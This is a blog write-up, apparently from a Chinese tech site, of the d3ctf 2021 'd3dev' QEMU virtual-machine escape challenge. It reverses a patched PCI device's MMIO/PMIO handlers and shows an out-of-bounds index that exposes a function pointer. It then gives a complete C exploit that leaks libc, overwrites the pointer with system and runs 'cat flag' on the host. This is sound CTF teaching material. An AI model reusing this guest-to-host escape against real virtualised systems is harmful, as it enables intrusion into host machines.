CTF-pwn-虚拟化-【d3ctf-2021-d3dev】

参考

https://x1ng.top/2021/11/26/qemu-pwn/
https://bbs.kanxue.com/thread-275216.htm#msg_header_h1_0
https://xz.aliyun.com/t/6562?time__1311=n4%2BxnD0DRDBAi%3DGkDgiDlhjmYh2xuCllx7whD&alichlgref=https%3A%2F%2Fwww.bing.com%2F#toc-4

流程

qemu pwn题目的文件与Linux 内核题目类似,提供一个启动脚本、Linux内核、文件系统,以及一个patch过的qemu文件,运行启动脚本用题目附件给的qemu文件开启虚拟机

启动脚本文件中一般会添加一个PCI设备,在PCI中内置漏洞,也与内核题目相似,但是实现设备读写操作的代码在patch过的qemu文件中,可以在ida中搜索函数名快速定位设备读写函数

要求通过对设备的操作函数中的漏洞获得docker环境host机的shell,获取宿主机上的flag

附件

在这里插入图片描述

在这里插入图片描述

检查

在这里插入图片描述

启动信息

新建文件夹 fs
进入fs 文件夹

cpio -idv < rootfs.img的路径

将解压后的保存在当前文件夹
在这里插入图片描述

setsid /bin/cttyhack setuidgid 0 /bin/sh  #shell将以root权限执行

逆向分析

qemu文件放入IDA

  • 搜索函数名来定位相关函数
  • _libc_csu_init -> _frame_dummy_init_array_entry -> do_qemu_init_pci_d3dev_register_types 在这里插入图片描述
    在这里插入图片描述在这里插入图片描述
    可以看到相关的一些mmio和pmio的函数
    在这里插入图片描述

漏洞

在这里插入图片描述

在这里插入图片描述

opaque转换为结构体
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
有个tea加密问gpt的 ,将opaque->blocks[opaque->seek + (unsigned int)(addr >> 3)]的高32位和低32位加密

opaque->mmio_read_part为1,返回高32位
opaque->mmio_read_part为0,返回低32位
在这里插入图片描述
v4 = opaque->seek + (unsigned int)(addr >> 3)如果opaque->mmio_write_part为0会修改opaque->blocks[v4] = (unsigned int)val;

在这里插入图片描述
根据addr返回opaque的不同字段的值
在这里插入图片描述
addr == 8并且val <= 0x100会opaque->seek = val,addr > 8并且addr == 28会opaque->r_seed = val然后调用((__int64 (__fastcall *)(uint32_t *, __int64, uint64_t, _QWORD))opaque->rand_r)( &opaque->r_seed, 28LL, val, *(_QWORD *)&size);否则addr不为零就opaque->key清零

  1. d3dev_mmio_write和d3dev_mmio_read能写读opaque->blocks[opaque->seek + (unsigned int)(addr >> 3)]
  2. d3dev_pmio_write能给opaque->seek赋值和调用opaque->rand_r( &opaque->r_seed)和给opaque->key清零和 opaque->memory_mode = val

查看设备配置信息

在这里插入图片描述

在这里插入图片描述

exp

//gcc -o exp exp.c -static

#include <stdint.h> 
#include <fcntl.h> 
#include <sys/mman.h> 
#include <sys/io.h> 
#include <stdio.h> 
#include <unistd.h> 



unsigned char* mmio_mem = 0;

void setup_mmio() {
    int mmio_fd = open("/sys/devices/pci0000:00/0000:00:03.0/resource0", O_RDWR | O_SYNC);
    mmio_mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
}

void mmio_write(uint32_t addr, uint32_t value) {
    *((uint32_t*)(mmio_mem + addr)) = value;
}

uint64_t mmio_read(uint64_t addr) {
    return *((uint32_t *)(mmio_mem + addr));
}


uint32_t pmio_base = 0xc040;

void setup_pmio() {
    iopl(3);
}

void pmio_write(uint32_t addr, uint32_t value)
{
    outl(value, pmio_base + addr);
}

uint64_t pmio_read(uint32_t addr)
{
    return (uint64_t)inl(pmio_base + addr);
}



uint64_t encode(uint32_t high, uint32_t low) {

    uint32_t addr = 0xC6EF3720;

    for (int i = 0; i < 32; ++i) {
        high = high - ((low + addr) ^ (low >> 5) ^ (16 * low));
        low = low - (((high + addr) ^ (high >> 5) ^ (16 * high)));
        addr += 0x61C88647;
    }

    return (uint64_t)high * 0x100000000 + low;
}


uint64_t decode(uint32_t high, uint32_t low) {

    uint32_t addr = 0x0;

    for (int i = 0; i < 32; ++i) {
        addr -= 0x61C88647;
        low += (((high + addr) ^ (high >> 5) ^ (16 * high)));
        high += ((low + addr) ^ (low >> 5) ^ (16 * low));
    }
    return (uint64_t)high * 0x100000000 + low;
}


int main(int argc, char* argv[]) 
{
    printf("[+] Setup\n");
    setup_pmio();
    setup_mmio();


    printf("[+] IO\n");
    pmio_write(0x8, 0x100); //写 opaque->seek = 0x100
    
    mmio_write(8*1,0); // opaque->blocks[0x101]=0
    mmio_write(0,0);
    mmio_write(8*2,0); // opaque->blocks[0x102]=0
    mmio_write(0,0);
    
    uint64_t libcbase=0;
    libcbase = mmio_read(8*3);   //第一次会返回这块8字节内存的低4字节,第二次返回高4字节
    libcbase+= (mmio_read(8*3))<<32 ; //opaque->blocks[0x103]即rand_r函数指针 为qemu进程中的变量此时是qemu进程中的libc中的函数地址
    libcbase = decode(libcbase>>32, libcbase&0xffffffff) - 0x41c30;
    printf("[+] libcbase: 0x%lx\n",libcbase);
    
    
    uint64_t system = libcbase+0x4dab0;
    printf("[+] system: 0x%lx\n",system);
    uint64_t enc_system = encode(system>>32, system&0xffffffff);
    
    mmio_write(8*3,enc_system&0xffffffff);
    mmio_write(8*3,enc_system>>32);//opaque->blocks[0x103]往rand_r函数指针 写system函数指针
	
    pmio_write(0x8, 0);
    mmio_write(0,0x67616c66);
   
    
    pmio_write(0x1c,0x20746163);  //63 61 74 20 

    //会调用下面这个 
    //if ( addr == 28 )
    // {
    //   opaque->r_seed = val;
    //   key = opaque->key;
    //   do
    //     *key++ = ((__int64 (__fastcall *)(uint32_t *, __int64, uint64_t, _QWORD))opaque->rand_r)(
    //                &opaque->r_seed,
    //                28LL,
    //                val,
    //                *(_QWORD *)&size);
    //   while ( key != (uint32_t *)&opaque->rand_r );
    // }
	
    return 0;
} 



在这里插入图片描述

泄露libc后可以去libc-database找,也可以直接通过gdb中计算偏移

  • 26
    点赞
  • 12
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

看星猩的柴狗

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值